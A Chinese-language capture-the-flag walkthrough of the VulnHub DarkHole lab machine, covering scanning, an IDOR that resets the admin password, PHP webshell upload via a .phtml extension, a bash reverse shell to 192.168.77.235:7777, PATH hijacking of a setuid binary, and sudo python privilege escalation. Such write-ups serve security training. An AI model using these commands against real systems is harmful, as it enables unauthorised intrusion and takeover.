一、环境准备
1.靶机下载
https://download.vulnhub.com/darkhole/DarkHole.zip
2.环境配置
kali攻击机和靶机均采用桥接模式,使用手机热点
二、信息收集
1.网络主机发现
sudo arp-scan -l
kali:192.168.181.235
靶机:192.168.181.159
2.目标主机扫描
sudo nmap -sS -sV -O -p- 192.168.181.159
开放80端口和22端口
访问80端口
右上角有登录功能
尝试使用弱密码登录失败
新建用户
使用新用户的账号密码登录
三、漏洞搜索
1.sqlmap搜索
使用sqlmap验证是否存在sql注入漏洞
设置level=3继续
没有发现sql注入漏洞
2.验证越权漏洞
2-1直接修改url的id值,操作失败
2-2尝试修改密码,使用bp抓包
猜测管理员的id为1,修改id=1重新发送
若存在漏洞,此时管理员的密码已经被修改为123456,回到刚才的登录页面,使用管理员账号进行登录
登录成功
四、漏洞利用
1.直接上传php一句话木马
2.修改后缀名为phtml
上传成功,路径为upload/test1.phtml
3.验证上传的木马
4.使用蚁剑连接
五、反弹SHELL
1.方法一
bash -i >& /dev/tcp/192.168.77.235/7777 0>&1
2.方法二
六、内网搜索
1.查看哪些用户账户配置了bash作为默认shell
cat /etc/passwd | grep /bin/bash
解释:
使用/bin/bash为默认shell的用户有root,darkhole,john
发现database.php含有john的信息
2.进入john的目录
发现toto的所有者是root
cat查看user.txt失败,需要john操作
运行toto,发现和id功能一样
3.重写id文件
新建id文件,并写入PATH,运行toto文件使用john身份调用id命令时就会获得shell
echo '/bin/bash' > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
解释:
4.再次运行toto,以john身份开启shell
查看user.txt和password
5.SSH连接
用户名为john,密码为password的内容
七、提权
sudo -l
列出当前用户可以执行的 sudo
命令
用户可以执行root权限的python 脚本
将shell命令写入脚本中,执行时,就可以得到root权限的shell了
echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py